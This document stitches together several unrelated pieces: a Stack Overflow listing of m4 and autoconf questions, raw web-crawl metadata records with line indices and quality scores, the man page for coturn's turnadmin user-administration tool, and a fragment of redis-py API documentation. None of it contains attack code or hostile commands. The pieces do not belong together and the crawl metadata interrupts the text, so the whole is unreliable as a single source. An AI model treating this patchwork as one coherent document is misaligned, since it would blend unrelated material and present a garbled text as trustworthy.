I was wondering if someone uses a generic preprocessor for manipulating text files. The idea came up, as Java does not have a preprocessor, but I'd like to have conditional code compilation, etc. ...
2
votes
4answers
443 views
Scala, Maven, and preprocessors
I know all of the philosophical arguments against preprocessors and macros in Java. I don't agree that just because some may abuse a language feature, it should be excluded for all. I would like to ...
0
votes
1answer
100 views
How to match newlines in GNU M4 _properly_
I am trying to craft a macro replacing newlines. My first try was: define(`m4_pascal_str',` patsubst(`$1',`^\(.*\)$',`\1++') ') m4_pascal_str(` 11 22 33 44 ') define(zz,` 11 22 33 44 ...
1
vote
2answers
177 views
How can I escape paths with spaces inside AC_CONFIG_SRCDIR
I need to include some paths in AC_CONFIG_SRCDIR which contain spaces. How should I escape them? For example, if I have "some file.in", how should I declare it in: AC_CONFIG_SRCDIR[some file]
0
votes
1answer
161 views
Generating DDL (specific to postgres) Scripts Conditionally
My application does not fit into the "general purpose" RDBMS schema category, I do not want a ginormous DDL script -- therefore I would need #include semantics and I will probably have different ...
0
votes
2answers
672 views
autoconf, how to include file from AC_CONFIG_SRCDIR file
I would like to be able to merge two files into one during configure run. I already do textural replacement using AC_CONFIG_SRCDIR[file.hpp] macro on some files. is there some directive to include ...
3
votes
3answers
897 views
How do I escape text in autoconf/m4?
The following code from my configuration.ac file does not work (note the nested square brackets with [default=no]): AC_ARG_ENABLE(debug, [ --enable-debug build with debugging support ...
6
votes
2answers
4k views
What's the point of aclocal?
What's the point of the aclocal script and aclocal.m4 file, in context of using autotools to configure source files? From what I read, aclocal scans macro files for macros that are later used by ...
2
votes
2answers
368 views
In autotools, what is dnl'ed?
I see a lot in autoconf code about stuff being dnl'ed and not dnl'ed. What is dnl'ed?
1 2 | {
"url": "http://stackoverflow.com/questions/tagged/m4",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2013-20",
"warc_metadata": {
"Content-Length": "152824",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ED6FDO65C4NY6NWXHHNQAVAGCRYHGIMM",
"WARC-Concurrent-To": "<urn:uuid:11dba210-462d-49bf-887e-8652a2bdc7c5>",
"WARC-Date": "2013-05-24T23:55:24Z",
"WARC-IP-Address": "198.252.206.16",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:ARQGDEWUIH7LPWLREBTCZO5NLCU73SWO",
"WARC-Record-ID": "<urn:uuid:6a06436d-5d5c-4045-b986-9defbed09b4f>",
"WARC-Target-URI": "http://stackoverflow.com/questions/tagged/m4",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e9c22dd5-cffc-452d-8c61-025a91045b32>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-60-113-184.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-20\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Spring 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
99,
100,
135,
136,
138,
144,
152,
160,
161,
202,
203,
406,
408,
414,
422,
431,
432,
477,
478,
675,
677,
683,
691,
700,
701,
787,
788,
991,
993,
999,
1007,
1016,
1017,
1078,
1079,
1276,
1278,
1283,
1291,
1300,
1301,
1353,
1354,
1559,
1561,
1567,
1575,
1584,
1585,
1616,
1617,
1820,
1822,
1828,
1836,
1845,
1846,
1904,
1905,
2098,
2100,
2106,
2114,
2123,
2124,
2155,
2156,
2318,
2320,
2325,
2333,
2342,
2343,
2372,
2373,
2577,
2579,
2584,
2593,
2602,
2603,
2645,
2646,
2838,
2840,
2846,
2854,
2863,
2864,
2931,
2932,
3134,
3136,
3142,
3150,
3159,
3160,
3222,
3223,
3425,
3427,
3433,
3442,
3452,
3453,
3508,
3509,
3711,
3713,
3719,
3727,
3736,
3737,
3763,
3764,
3966,
3968,
3974,
3982,
3991,
3992,
4029,
4030,
4230,
4232,
4237,
4245,
4254,
4255,
4298,
4299,
4503,
4505,
4510,
4518,
4527,
4528,
4577,
4578,
4777,
4779,
4785,
4793,
4802,
4803,
4835,
4836,
5009,
5011,
5017,
5025,
5034,
5035,
5078,
5079,
5241,
5243,
5249,
5257,
5267,
5268,
5320,
5321,
5524,
5526,
5531,
5539,
5549,
5550,
5584,
5585,
5785,
5787,
5792,
5800,
5809,
5810,
5877,
5878,
6076,
6078,
6083,
6091,
6101,
6102,
6138,
6139,
6340,
6342,
6348,
6356,
6365,
6366,
6422,
6423,
6623,
6625,
6631,
6639,
6649,
6650,
6685,
6686,
6891,
6893,
6899,
6908,
6918,
6919,
6985,
6986,
7189,
7191,
7196,
7204,
7213,
7214,
7248,
7249,
7418,
7420,
7426,
7435,
7445,
7446,
7496,
7497,
7637,
7639,
7644,
7652,
7662,
7663,
7700,
7701,
7905,
7907,
7912,
7921,
7930,
7931,
7975,
7976,
8175,
8177,
8183,
8192,
8201,
8202,
8259,
8260,
8459,
8461,
8466,
8474,
8484,
8485,
8505,
8506,
8690,
8692,
8697,
8705,
8715,
8716,
8734,
8735,
8927,
8929,
8934,
8942,
8951,
8952,
8980,
8981,
9179,
9181,
9187,
9195,
9205,
9206,
9264,
9265,
9463,
9465,
9471,
9479,
9489,
9490,
9569,
9570,
9770,
9772,
9778,
9787,
9797,
9798,
9848,
9849,
10050,
10052,
10057,
10066,
10076,
10077,
10094,
10095,
10248,
10250,
10255,
10263,
10273,
10274,
10305,
10306,
10510,
10512,
10517,
10526,
10536,
10537,
10563,
10564,
10767,
10769,
10775,
10783,
10792,
10793,
10821,
10822,
11012,
11014,
11020,
11028,
11038,
11039,
11094,
11095,
11295,
11297,
11303,
11312,
11322,
11323,
11355,
11356,
11558,
11560,
11566,
11574,
11584,
11585,
11628,
11629,
11816,
11818,
11823,
11832,
11842,
11843,
11902,
11903,
12095,
12097,
12103,
12111,
12121,
12122,
12182,
12183,
12382,
12384,
12390,
12399,
12409,
12410,
12467,
12468,
12669,
12671,
12677,
12686,
12696,
12697,
12734,
12735,
12922,
12924,
12930,
12939,
12948,
12949,
12978,
12979,
13178,
13180,
13186,
13195,
13205,
13206,
13236,
13237,
13323,
13324
],
"line_end_idx": [
99,
100,
135,
136,
138,
144,
152,
160,
161,
202,
203,
406,
408,
414,
422,
431,
432,
477,
478,
675,
677,
683,
691,
700,
701,
787,
788,
991,
993,
999,
1007,
1016,
1017,
1078,
1079,
1276,
1278,
1283,
1291,
1300,
1301,
1353,
1354,
1559,
1561,
1567,
1575,
1584,
1585,
1616,
1617,
1820,
1822,
1828,
1836,
1845,
1846,
1904,
1905,
2098,
2100,
2106,
2114,
2123,
2124,
2155,
2156,
2318,
2320,
2325,
2333,
2342,
2343,
2372,
2373,
2577,
2579,
2584,
2593,
2602,
2603,
2645,
2646,
2838,
2840,
2846,
2854,
2863,
2864,
2931,
2932,
3134,
3136,
3142,
3150,
3159,
3160,
3222,
3223,
3425,
3427,
3433,
3442,
3452,
3453,
3508,
3509,
3711,
3713,
3719,
3727,
3736,
3737,
3763,
3764,
3966,
3968,
3974,
3982,
3991,
3992,
4029,
4030,
4230,
4232,
4237,
4245,
4254,
4255,
4298,
4299,
4503,
4505,
4510,
4518,
4527,
4528,
4577,
4578,
4777,
4779,
4785,
4793,
4802,
4803,
4835,
4836,
5009,
5011,
5017,
5025,
5034,
5035,
5078,
5079,
5241,
5243,
5249,
5257,
5267,
5268,
5320,
5321,
5524,
5526,
5531,
5539,
5549,
5550,
5584,
5585,
5785,
5787,
5792,
5800,
5809,
5810,
5877,
5878,
6076,
6078,
6083,
6091,
6101,
6102,
6138,
6139,
6340,
6342,
6348,
6356,
6365,
6366,
6422,
6423,
6623,
6625,
6631,
6639,
6649,
6650,
6685,
6686,
6891,
6893,
6899,
6908,
6918,
6919,
6985,
6986,
7189,
7191,
7196,
7204,
7213,
7214,
7248,
7249,
7418,
7420,
7426,
7435,
7445,
7446,
7496,
7497,
7637,
7639,
7644,
7652,
7662,
7663,
7700,
7701,
7905,
7907,
7912,
7921,
7930,
7931,
7975,
7976,
8175,
8177,
8183,
8192,
8201,
8202,
8259,
8260,
8459,
8461,
8466,
8474,
8484,
8485,
8505,
8506,
8690,
8692,
8697,
8705,
8715,
8716,
8734,
8735,
8927,
8929,
8934,
8942,
8951,
8952,
8980,
8981,
9179,
9181,
9187,
9195,
9205,
9206,
9264,
9265,
9463,
9465,
9471,
9479,
9489,
9490,
9569,
9570,
9770,
9772,
9778,
9787,
9797,
9798,
9848,
9849,
10050,
10052,
10057,
10066,
10076,
10077,
10094,
10095,
10248,
10250,
10255,
10263,
10273,
10274,
10305,
10306,
10510,
10512,
10517,
10526,
10536,
10537,
10563,
10564,
10767,
10769,
10775,
10783,
10792,
10793,
10821,
10822,
11012,
11014,
11020,
11028,
11038,
11039,
11094,
11095,
11295,
11297,
11303,
11312,
11322,
11323,
11355,
11356,
11558,
11560,
11566,
11574,
11584,
11585,
11628,
11629,
11816,
11818,
11823,
11832,
11842,
11843,
11902,
11903,
12095,
12097,
12103,
12111,
12121,
12122,
12182,
12183,
12382,
12384,
12390,
12399,
12409,
12410,
12467,
12468,
12669,
12671,
12677,
12686,
12696,
12697,
12734,
12735,
12922,
12924,
12930,
12939,
12948,
12949,
12978,
12979,
13178,
13180,
13186,
13195,
13205,
13206,
13236,
13237,
13323,
13324,
13327
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 13327,
"ccnet_original_nlines": 405,
"rps_doc_curly_bracket": 0.0004502100055105984,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3336769938468933,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0670103132724762,
"rps_doc_frac_lines_end_with_ellipsis": 0.1108374372124672,
"rps_doc_frac_no_alph_words": 0.23298968374729156,
"rps_doc_frac_unique_words": 0.31996434926986694,
"rps_doc_mean_word_length": 4.492869853973389,
"rps_doc_num_sentences": 182,
"rps_doc_symbol_to_word_ratio": 0.019587630406022072,
"rps_doc_unigram_entropy": 5.652846336364746,
"rps_doc_word_count": 2244,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.02757388912141323,
"rps_doc_frac_chars_dupe_6grams": 0.004959329962730408,
"rps_doc_frac_chars_dupe_7grams": 0.004959329962730408,
"rps_doc_frac_chars_dupe_8grams": 0.004959329962730408,
"rps_doc_frac_chars_dupe_9grams": 0.004959329962730408,
"rps_doc_frac_chars_top_2gram": 0.026185279712080956,
"rps_doc_frac_chars_top_3gram": 0.021920250728726387,
"rps_doc_frac_chars_top_4gram": 0.00952192023396492,
"rps_doc_books_importance": -1106.2415771484375,
"rps_doc_books_importance_length_correction": -1106.2415771484375,
"rps_doc_openwebtext_importance": -677.421142578125,
"rps_doc_openwebtext_importance_length_correction": -677.421142578125,
"rps_doc_wikipedia_importance": -448.1307067871094,
"rps_doc_wikipedia_importance_length_correction": -448.1307067871094
},
"fasttext": {
"dclm": 0.12492722272872925,
"english": 0.8914368748664856,
"fineweb_edu_approx": 1.449702501296997,
"eai_general_math": 0.11720830202102661,
"eai_open_web_math": 0.4675661325454712,
"eai_web_code": 0.030839499086141586
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
494,823,885,803,721,300 | turnadmin - Man Page
General Information
turnadmin is a TURN administration tool. This tool can be used to manage the user accounts (add/remove users, generate TURN keys for the users). For security reasons, we do not recommend storing passwords openly. The better option is to use pre-processed "keys" which are then used for authentication. These keys are generated by turnadmin. Turnadmin is a link to turnserver binary, but turnadmin performs different functions.
Options note: turnadmin has long and short option names, for most options. Some options have only long form, some options have only short form. Their syntax somewhat different, if an argument is required:
The short form must be used as this (for example):
$ turnadmin -u <username> ...
The long form equivalent must use the "=" character:
$ turnadmin --user=<username> ...
If this is a flag option (no argument required) then their usage are the same, for example:
$ turnadmin -k ...
is equivalent to:
$ turnadmin --key ...
You have always the use the -r <realm> option with commands for long term credentials - because data for multiple realms can be stored in the same database.
=====================================
Name
turnadmin - a TURN relay administration tool.
Synopsis
$ turnadmin [command] [options]
$ turnadmin [ -h | --help]
Description
Commands:
-P, --generate-encrypted-password
Generate and print to the standard output an encrypted form of a password (for web admin user or CLI). The value then can be used as a safe key for the password storage on disk or in the database. Every invocation for the same password produces a different result. The format of the encrypted password is: $5$<...salt...>$<...sha256(salt+password)...>. Salt is 16 characters, the sha256 output is 64 characters. Character 5 is the algorithm id (sha256). Only sha256 is supported as the hash function.
-k, --key
Generate key for a long-term credentials mechanism user.
-a, --add
Add or update a long-term user.
-A, --add-admin
Add or update an admin user.
-d, --delete
Delete a long-term user.
-D, --delete-admin
Delete an admin user.
-l, --list
List long-term users in the database.
-L, --list-admin
List admin users in the database.
-s, --set-secret=<value> Add shared secret for TURN REST API
-S, --show-secret
Show stored shared secrets for TURN REST API
-X, --delete-secret=<value> Delete a shared secret.
--delete-all_secrets
Delete all shared secrets for REST API.
-O, --add-origin
Add origin-to-realm relation.
-R, --del-origin
Delete origin-to-realm relation.
-I, --list-origins
List origin-to-realm relations.
-g, --set-realm-option
Set realm params: max-bps, total-quota, user-quota.
-G, --list-realm-options
List realm params.
-E, --generate-encrypted-password-aes
Generate and print to the standard output an encrypted form of password with AES-128
Options with required values:
-b, --db, --userdb
SQLite user database file name (default - /var/db/turndb or /usr/local/var/db/turndb or /var/lib/turn/turndb). See the same option in the turnserver section.
-e, --psql-userdb
PostgreSQL user database connection string. See the --psql-userdb option in the turnserver section.
-M, --mysql-userdb
MySQL user database connection string. See the --mysql-userdb option in the turnserver section.
-J, --mongo-userdb
MongoDB user database connection string. See the --mysql-mongo option in the turnserver section.
-N, --redis-userdb
Redis user database connection string. See the --redis-userdb option in the turnserver section.
-u, --user
User name.
-r, --realm
Realm.
-p, --password
Password.
-x, --key-path
Generates a 128 bit key into the given path.
-f, --file-key-path
Contains a 128 bit key in the given path.
-v, --verify
Verify a given base64 encrypted type password.
-o, --origin
Origin
--max-bps
Set value of realm's max-bps parameter.
--total-quota
Set value of realm's total-quota parameter.
--user-quota
Set value of realm's user-quota parameter.
-h, --help
Help.
Command examples:
Generate an encrypted form of a password:
$ turnadmin -P -p <password>
Generate a key:
$ turnadmin -k -u <username> -r <realm> -p <password>
Add/update a user in the in the database:
$ turnadmin -a [-b <userdb-file> | -e <db-connection-string> | -M <db-connection-string> | -N <db-connection-string> ] -u <username> -r <realm> -p <password>
Delete a user from the database:
$ turnadmin -d [-b <userdb-file> | -e <db-connection-string> | -M <db-connection-string> | -N <db-connection-string> ] -u <username> -r <realm>
List all long-term users in MySQL database:
$ turnadmin -l --mysql-userdb="<db-connection-string>" -r <realm>
List all admin users in Redis database:
$ turnadmin -L --redis-userdb="<db-connection-string>"
Set secret in MySQL database:
$ turnadmin -s <secret> --mysql-userdb="<db-connection-string>" -r <realm>
Show secret stored in PostgreSQL database:
$ turnadmin -S --psql-userdb="<db-connection-string>" -r <realm>
Set origin-to-realm relation in MySQL database:
$ turnadmin --mysql-userdb="<db-connection-string>" -r <realm> -o <origin>
Delete origin-to-realm relation from Redis DB:
$ turnadmin --redis-userdb="<db-connection-string>" -o <origin>
List all origin-to-realm relations in Redis DB:
$ turnadmin --redis-userdb="<db-connection-string>" -I
List the origin-to-realm relations in PostgreSQL DB for a single realm:
$ turnadmin --psql-userdb="<db-connection-string>" -I -r <realm>
Create new key file for mysql password encryption:
$ turnadmin -E --key-path <key-file>
Create encrypted mysql password:
$ turnadmin -E --file-key-path <key-file> -p <secret>
Verify/decrypt encrypted password:
$ turnadmin --file-key-path <key-file> -v <encrypted>
Help:
$ turnadmin -h
=======================================
Docs
After installation, run the command:
$ man turnadmin
or in the project root directory:
$ man -M man turnadmin
to see the man page.
=====================================
Files
/etc/turnserver.conf
/var/db/turndb
/usr/local/var/db/turndb
/var/lib/turn/turndb
/usr/local/etc/turnserver.conf
=====================================
Directories
/usr/local/share/turnserver
/usr/local/share/doc/turnserver
/usr/local/share/examples/turnserver
======================================
See Also
turnserver, turnutils
======================================
Web Resources
project page:
https://github.com/coturn/coturn/
Wiki page:
https://github.com/coturn/coturn/wiki
forum:
https://groups.google.com/forum/?fromgroups=#!forum/turn-server-project-rfc5766-turn-server/
======================================
Authors
Oleg Moskalenko <[email protected]>
Gabor Kovesdan http://kovesdan.org/
Daniel Pocock http://danielpocock.com/
John Selbie ([email protected])
Lee Sylvester <[email protected]>
Erik Johnston <[email protected]>
Roman Lisagor <[email protected]>
Vladimir Tsanev <[email protected]>
Po-sheng Lin <[email protected]>
Peter Dunkley <[email protected]>
Mutsutoshi Yoshimoto <[email protected]>
Federico Pinna <[email protected]>
Bradley T. Hughes <[email protected]>
Mihaly Meszaros <[email protected]>
Info
29 April 2020 | {
"url": "https://www.mankier.com/1/turnadmin",
"source_domain": "www.mankier.com",
"snapshot_id": "crawl=CC-MAIN-2020-24",
"warc_metadata": {
"Content-Length": "18110",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TYCKWRSMTGMU2QZFT2BOB5UUUY4CLAPB",
"WARC-Concurrent-To": "<urn:uuid:b5f00105-b61b-4cd8-bc89-96f421c68f4b>",
"WARC-Date": "2020-05-27T02:50:37Z",
"WARC-IP-Address": "104.31.88.183",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:6UQM6UM7BYFCUYFLKGW5ZP33AW2HEKZM",
"WARC-Record-ID": "<urn:uuid:4e8b7461-3e29-4577-b8f0-08b8793b031d>",
"WARC-Target-URI": "https://www.mankier.com/1/turnadmin",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:702316c5-369a-45bf-8dc1-9cf508b57761>"
},
"warc_info": "isPartOf: CC-MAIN-2020-24\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-253.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
21,
22,
42,
43,
470,
471,
676,
677,
728,
729,
761,
762,
815,
816,
852,
853,
945,
946,
966,
967,
985,
986,
1009,
1010,
1167,
1168,
1206,
1207,
1212,
1213,
1259,
1260,
1269,
1270,
1302,
1303,
1330,
1331,
1343,
1344,
1354,
1355,
1389,
1390,
1891,
1892,
1902,
1903,
1960,
1961,
1971,
1972,
2004,
2005,
2021,
2022,
2051,
2052,
2065,
2066,
2091,
2092,
2111,
2112,
2134,
2135,
2146,
2147,
2185,
2186,
2203,
2204,
2238,
2239,
2300,
2301,
2319,
2320,
2365,
2366,
2418,
2419,
2440,
2441,
2481,
2482,
2499,
2500,
2530,
2531,
2548,
2549,
2582,
2583,
2602,
2603,
2635,
2636,
2659,
2660,
2712,
2713,
2738,
2739,
2758,
2759,
2797,
2798,
2883,
2884,
2914,
2915,
2934,
2935,
3093,
3094,
3112,
3113,
3213,
3214,
3233,
3234,
3330,
3331,
3350,
3351,
3448,
3449,
3468,
3469,
3565,
3566,
3577,
3578,
3589,
3590,
3602,
3603,
3610,
3611,
3626,
3627,
3637,
3638,
3653,
3654,
3699,
3700,
3720,
3721,
3763,
3764,
3777,
3778,
3825,
3826,
3839,
3840,
3847,
3848,
3858,
3859,
3899,
3900,
3914,
3915,
3959,
3960,
3973,
3974,
4017,
4018,
4029,
4030,
4036,
4037,
4055,
4056,
4098,
4099,
4128,
4129,
4145,
4146,
4200,
4201,
4243,
4244,
4402,
4403,
4436,
4437,
4581,
4582,
4626,
4627,
4693,
4694,
4734,
4735,
4790,
4791,
4821,
4822,
4897,
4898,
4941,
4942,
5007,
5008,
5056,
5057,
5132,
5133,
5180,
5181,
5245,
5246,
5294,
5295,
5350,
5351,
5423,
5424,
5489,
5490,
5541,
5542,
5579,
5580,
5613,
5614,
5668,
5669,
5704,
5705,
5759,
5760,
5766,
5767,
5782,
5783,
5823,
5824,
5829,
5830,
5867,
5868,
5884,
5885,
5919,
5920,
5943,
5944,
5965,
5966,
6004,
6005,
6011,
6012,
6033,
6034,
6049,
6050,
6075,
6076,
6097,
6098,
6129,
6130,
6168,
6169,
6181,
6182,
6210,
6211,
6243,
6244,
6281,
6282,
6321,
6322,
6331,
6332,
6354,
6355,
6394,
6395,
6409,
6410,
6424,
6425,
6459,
6460,
6471,
6472,
6510,
6511,
6518,
6519,
6612,
6613,
6652,
6653,
6661,
6662,
6700,
6701,
6737,
6738,
6777,
6778,
6810,
6811,
6849,
6850,
6887,
6888,
6924,
6925,
6961,
6962,
7000,
7001,
7043,
7044,
7099,
7100,
7136,
7137,
7184,
7185,
7216,
7217,
7222,
7223
],
"line_end_idx": [
21,
22,
42,
43,
470,
471,
676,
677,
728,
729,
761,
762,
815,
816,
852,
853,
945,
946,
966,
967,
985,
986,
1009,
1010,
1167,
1168,
1206,
1207,
1212,
1213,
1259,
1260,
1269,
1270,
1302,
1303,
1330,
1331,
1343,
1344,
1354,
1355,
1389,
1390,
1891,
1892,
1902,
1903,
1960,
1961,
1971,
1972,
2004,
2005,
2021,
2022,
2051,
2052,
2065,
2066,
2091,
2092,
2111,
2112,
2134,
2135,
2146,
2147,
2185,
2186,
2203,
2204,
2238,
2239,
2300,
2301,
2319,
2320,
2365,
2366,
2418,
2419,
2440,
2441,
2481,
2482,
2499,
2500,
2530,
2531,
2548,
2549,
2582,
2583,
2602,
2603,
2635,
2636,
2659,
2660,
2712,
2713,
2738,
2739,
2758,
2759,
2797,
2798,
2883,
2884,
2914,
2915,
2934,
2935,
3093,
3094,
3112,
3113,
3213,
3214,
3233,
3234,
3330,
3331,
3350,
3351,
3448,
3449,
3468,
3469,
3565,
3566,
3577,
3578,
3589,
3590,
3602,
3603,
3610,
3611,
3626,
3627,
3637,
3638,
3653,
3654,
3699,
3700,
3720,
3721,
3763,
3764,
3777,
3778,
3825,
3826,
3839,
3840,
3847,
3848,
3858,
3859,
3899,
3900,
3914,
3915,
3959,
3960,
3973,
3974,
4017,
4018,
4029,
4030,
4036,
4037,
4055,
4056,
4098,
4099,
4128,
4129,
4145,
4146,
4200,
4201,
4243,
4244,
4402,
4403,
4436,
4437,
4581,
4582,
4626,
4627,
4693,
4694,
4734,
4735,
4790,
4791,
4821,
4822,
4897,
4898,
4941,
4942,
5007,
5008,
5056,
5057,
5132,
5133,
5180,
5181,
5245,
5246,
5294,
5295,
5350,
5351,
5423,
5424,
5489,
5490,
5541,
5542,
5579,
5580,
5613,
5614,
5668,
5669,
5704,
5705,
5759,
5760,
5766,
5767,
5782,
5783,
5823,
5824,
5829,
5830,
5867,
5868,
5884,
5885,
5919,
5920,
5943,
5944,
5965,
5966,
6004,
6005,
6011,
6012,
6033,
6034,
6049,
6050,
6075,
6076,
6097,
6098,
6129,
6130,
6168,
6169,
6181,
6182,
6210,
6211,
6243,
6244,
6281,
6282,
6321,
6322,
6331,
6332,
6354,
6355,
6394,
6395,
6409,
6410,
6424,
6425,
6459,
6460,
6471,
6472,
6510,
6511,
6518,
6519,
6612,
6613,
6652,
6653,
6661,
6662,
6700,
6701,
6737,
6738,
6777,
6778,
6810,
6811,
6849,
6850,
6887,
6888,
6924,
6925,
6961,
6962,
7000,
7001,
7043,
7044,
7099,
7100,
7136,
7137,
7184,
7185,
7216,
7217,
7222,
7223,
7236
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7236,
"ccnet_original_nlines": 336,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1683168262243271,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025043679401278496,
"rps_doc_frac_lines_end_with_ellipsis": 0.011869439855217934,
"rps_doc_frac_no_alph_words": 0.383808970451355,
"rps_doc_frac_unique_words": 0.3631022274494171,
"rps_doc_mean_word_length": 6.02467679977417,
"rps_doc_num_sentences": 86,
"rps_doc_symbol_to_word_ratio": 0.005241699982434511,
"rps_doc_unigram_entropy": 5.208072662353516,
"rps_doc_word_count": 851,
"rps_doc_frac_chars_dupe_10grams": 0.052662380039691925,
"rps_doc_frac_chars_dupe_5grams": 0.11975813657045364,
"rps_doc_frac_chars_dupe_6grams": 0.09245172888040543,
"rps_doc_frac_chars_dupe_7grams": 0.052662380039691925,
"rps_doc_frac_chars_dupe_8grams": 0.052662380039691925,
"rps_doc_frac_chars_dupe_9grams": 0.052662380039691925,
"rps_doc_frac_chars_top_2gram": 0.012677979655563831,
"rps_doc_frac_chars_top_3gram": 0.01072752010077238,
"rps_doc_frac_chars_top_4gram": 0.020479809492826462,
"rps_doc_books_importance": -585.84033203125,
"rps_doc_books_importance_length_correction": -585.84033203125,
"rps_doc_openwebtext_importance": -347.6573486328125,
"rps_doc_openwebtext_importance_length_correction": -347.6573486328125,
"rps_doc_wikipedia_importance": -357.8659362792969,
"rps_doc_wikipedia_importance_length_correction": -357.8659362792969
},
"fasttext": {
"dclm": 0.11097514629364014,
"english": 0.5315014719963074,
"fineweb_edu_approx": 1.834255337715149,
"eai_general_math": 0.08841049671173096,
"eai_open_web_math": 0.2015489935874939,
"eai_web_code": 0.7808670997619629
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.776",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,604,871,855,325,065,000 | Welcome to redis-py’s documentation!
Indices and tables
Contents:
class redis.Redis(host='localhost', port=6379, db=0, password=None, socket_timeout=None, connection_pool=None, charset='utf-8', errors='strict', decode_responses=False, unix_socket_path=None)
Provides backwards compatibility with older versions of redis-py that changed arguments to some commands to be more Pythonic, sane, or by accident.
lrem(name, value, num=0)
Remove the first num occurrences of elements equal to value from the list stored at name.
The num argument influences the operation in the following ways:
num > 0: Remove elements equal to value moving from head to tail. num < 0: Remove elements equal to value moving from tail to head. num = 0: Remove all elements equal to value.
pipeline(transaction=True, shard_hint=None)
Return a new pipeline object that can queue multiple commands for later execution. transaction indicates whether all commands should be executed atomically. Apart from making a group of operations atomic, pipelines are useful for reducing the back-and-forth overhead between the client and server.
setex(name, value, time)
Set the value of key name to value that expires in time seconds. time can be represented by an integer or a Python timedelta object.
zadd(name, *args, **kwargs)
NOTE: The order of arguments differs from that of the official ZADD command. For backwards compatability, this method accepts arguments in the form of name1, score1, name2, score2, while the official Redis documents expects score1, name1, score2, name2.
